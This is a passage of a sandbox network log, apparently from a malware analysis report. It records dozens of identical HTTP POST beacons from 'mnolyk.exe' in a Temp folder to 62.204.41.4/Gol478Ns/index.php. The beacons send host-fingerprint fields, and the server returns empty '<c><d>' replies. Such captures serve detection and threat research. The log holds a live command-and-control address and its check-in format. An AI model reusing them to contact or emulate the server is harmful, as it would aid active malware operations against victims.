Feb 7, 2023 23:08:50.963557959 CET	519	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:51.029182911 CET	519	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
405	192.168.2.7	50100	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:51.207784891 CET	520	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:51.273344040 CET	520	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
406	192.168.2.7	50101	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:51.475050926 CET	521	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:51.541920900 CET	521	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
407	192.168.2.7	50102	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:51.747853041 CET	522	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:51.813720942 CET	522	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
408	192.168.2.7	50103	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:51.993571043 CET	523	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:52.057198048 CET	523	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
409	192.168.2.7	50104	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:52.249237061 CET	524	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:52.314605951 CET	524	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.7	49735	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:11.564677000 CET	145	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:11.630836010 CET	145	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
410	192.168.2.7	50105	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:52.555967093 CET	525	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:52.620795965 CET	525	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
411	192.168.2.7	50106	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:52.814624071 CET	526	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:52.877818108 CET	526	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
412	192.168.2.7	50107	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:53.058284998 CET	527	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:53.122720003 CET	527	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
413	192.168.2.7	50108	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:53.335185051 CET	528	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:53.401114941 CET	528	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
414	192.168.2.7	50109	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:53.586754084 CET	529	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:53.653393984 CET	529	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
415	192.168.2.7	50110	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:53.827948093 CET	530	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:53.893883944 CET	530	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
416	192.168.2.7	50111	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:54.086077929 CET	531	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:54.151463032 CET	531	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
417	192.168.2.7	50112	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:54.333220005 CET	532	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:54.396852970 CET	532	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
418	192.168.2.7	50113	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:54.584709883 CET	533	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:54.649357080 CET	533	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
419	192.168.2.7	50114	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:54.813585997 CET	534	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:54.876275063 CET	534	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.7	49736	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:11.796308994 CET	146	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:11.859110117 CET	146	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
420	192.168.2.7	50115	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:55.052783012 CET	535	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:55.117238998 CET	535	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
421	192.168.2.7	50116	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:55.305221081 CET	536	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:55.369998932 CET	536	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
422	192.168.2.7	50117	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:55.559827089 CET	537	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:55.626091957 CET	537	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
423	192.168.2.7	50118	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:55.823225021 CET	538	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
